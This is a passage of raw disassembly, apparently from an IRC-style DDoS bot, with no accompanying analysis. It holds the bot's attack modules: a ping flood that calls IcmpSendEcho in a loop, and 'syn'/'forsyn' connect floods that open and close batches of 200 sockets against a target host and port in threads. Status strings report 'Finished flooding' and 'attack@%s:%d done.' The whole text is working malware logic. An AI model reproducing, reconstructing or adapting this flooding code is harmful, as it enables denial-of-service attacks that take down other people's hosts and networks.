mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: ___:loc_401B81j push 0FFFFFFFFh push offset loc_43C9C4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014DD push eax mov ecx, ebp call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_427058 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_426F2B mov ecx, eax call sub_401DF2 mov ebp, eax loc_426F2B: ; CODE XREF: ___:00426F20j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FDC mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013DE mov ebp, [esp+54h] loc_427058: ; CODE XREF: ___:00426F01j lea ecx, [ebx+8Eh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4271CA push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42709B mov ecx, eax call sub_401BDB mov ebp, eax jmp short loc_42709D ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: ___:0042708Ej xor ebp, ebp loc_42709D: ; CODE XREF: ___:00427099j push offset asc_444600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4271CA: ; CODE XREF: ___:0042706Dj lea ecx, [ebx+4] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_427339 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_42720A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_42720C ; --------------------------------------------------------------------------- loc_42720A: ; CODE XREF: ___:004271FDj xor ebp, ebp loc_42720C: ; CODE XREF: ___:00427208j push offset asc_444600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013DE mov ebp, [esp+54h] loc_427339: ; CODE XREF: ___:004271DCj lea ecx, [ebx+32h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4274E4 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_427379 mov ecx, eax call sub_40178F mov ebp, eax jmp short loc_42737B ; --------------------------------------------------------------------------- loc_427379: ; CODE XREF: ___:0042736Cj xor ebp, ebp loc_42737B: ; CODE XREF: ___:00427377j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4274E4: ; CODE XREF: ___:0042734Bj lea ecx, [ebx+0EAh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_427501 mov [ebx+11Ch], al loc_427501: ; CODE XREF: ___:004274F9j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4276C0 proc near ; CODE XREF: sub_401A78j var_4 = dword ptr -4 push ecx mov edx, dword_449A14 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4276E1 inc ecx mov [eax+118h], ecx loc_4276E1: ; CODE XREF: sub_4276C0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E8EAB call sub_40120D sub_4276C0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427740 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F0DC call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427740 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; CODE XREF: sub_401F9Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4277B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4277B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427850 proc near ; CODE XREF: sub_4014CEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427850 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427850 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427910: ; CODE XREF: ___:loc_4016DBj ; ___:0040219Ej push esi mov esi, ecx call sub_4014CE test byte ptr [esp+8], 1 jz short loc_427928 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427928: ; CODE XREF: ___:0042791Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4020AE test [esp+4+arg_0], 1 jz short loc_427958 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427958: ; CODE XREF: sub_427940+Dj mov eax, esi pop esi retn 4 sub_427940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427970 proc near ; CODE XREF: sub_4020AEj jmp sub_4014CE sub_427970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427990 proc near ; CODE XREF: sub_401A50j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427990 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_40183E add esp, 10h test eax, eax jz short loc_427A54 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_427A6E ; --------------------------------------------------------------------------- loc_427A54: ; CODE XREF: sub_427990+9Aj mov ecx, ebx call sub_4017EE push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_427A6E: ; CODE XREF: sub_427990+C2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427990 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427B10 proc near ; CODE XREF: sub_401E9Cj var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_437B30 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27F08C8h mov esi, eax test esi, esi jz short loc_427B7A mov edi, dword_511918 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_51012C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_510130, eax call edi mov ecx, dword_51012C mov dword_510128, eax test ecx, ecx jz short loc_427B7A mov edx, dword_510130 test edx, edx jz short loc_427B7A test eax, eax jz short loc_427B7A mov al, [esp+0Bh] test al, al jz short loc_427B85 loc_427B7A: ; CODE XREF: sub_427B10+1Bj ; sub_427B10+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_427B85: ; CODE XREF: sub_427B10+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_427B9C mov [esp+24h+arg_FFE8], eax loc_427B9C: ; CODE XREF: sub_427B10+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_427BAF mov ebp, 1 loc_427BAF: ; CODE XREF: sub_427B10+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_427BF4 loc_427BC0: ; CODE XREF: sub_427B10+E2j mov al, byte_4D84C9 test al, al jz short loc_427BF4 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_510128 ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_427BC0 loc_427BF4: ; CODE XREF: sub_427B10+AEj ; sub_427B10+B7j push edi call dword_510130 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_427B10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C50 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40188E mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E9C add esp, 14h retn sub_427C50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C90 proc near ; CODE XREF: sub_401BDBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset nullsub_10 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427C90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_427D00: ; CODE XREF: ___:00401A28j ; ___:00401AC3j push esi mov esi, ecx call sub_401807 test byte ptr [esp+8], 1 jz short loc_427D18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427D18: ; CODE XREF: ___:00427D0Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427D30 proc near ; CODE XREF: sub_401807j jmp sub_4014CE sub_427D30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427D50 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427D50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E7D9F mov [esp+2Ch+var_28], eax loc_427D76: ; CODE XREF: sub_427D50+35j cmp dword ptr [ecx], 0 jz short loc_427D87 add ecx, 78h inc eax cmp ecx, offset byte_4E86FF jl short loc_427D76 loc_427D87: ; CODE XREF: sub_427D50+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_427F39 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E7D2Bh[eax*8] call sub_4017EE mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_427DF0 mov dword ptr [ebp+68h], 5 loc_427DF0: ; CODE XREF: sub_427D50+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_510138 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_510338 push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 27A0000h test eax, eax mov dword_51033C, eax jz short loc_427E8B push offset dword_448F44 push 5 push eax push 0 push offset dword_510138 call sub_4013F2 add esp, 14h mov [ebp+70h], eax jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427E8B: ; CODE XREF: sub_427D50+11Dj mov ecx, esi call sub_4017EE push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_427EBB: ; CODE XREF: sub_427D50+139j lea ecx, [esp+38h+var_24] call sub_40142E mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017EE push eax push offset aS ; "%s" mov ecx, edi call sub_4014DD mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_427F39: ; CODE XREF: sub_427D50+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_427D50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FD0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E7D2Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax call near ptr 71AB2B66h nop push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428066 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_42805F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8745[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42805F: ; CODE XREF: sub_427FD0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428066: ; CODE XREF: sub_427FD0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_428116 mov ebx, dword_511C3C loc_428085: ; CODE XREF: sub_427FD0+140j mov al, byte_4D84C9 test al, al jz loc_428116 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42809B: ; CODE XREF: sub_427FD0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4280BB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax call near ptr 71AB4519h nop loc_4280BB: ; CODE XREF: sub_427FD0+D8j add esi, 4 dec edi jnz short loc_42809B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280CA: ; CODE XREF: sub_427FD0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_4280CA mov ecx, [ebp+68h] push ecx nop call near ptr 2850000h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280F3: ; CODE XREF: sub_427FD0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_4280F3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_428085 loc_428116: ; CODE XREF: sub_427FD0+A9j ; sub_427FD0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8745[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427FD0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4281A0 proc near ; CODE XREF: sub_401DF2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4281A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F10C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4281A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_428228 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428228: ; CODE XREF: sub_428210+Dj mov eax, esi pop esi retn 4 sub_428210 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428240 proc near ; CODE XREF: sub_4010FFj jmp sub_4014CE sub_428240 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428260 proc near ; CODE XREF: sub_401EB0j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_401DCF sub_428260 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq 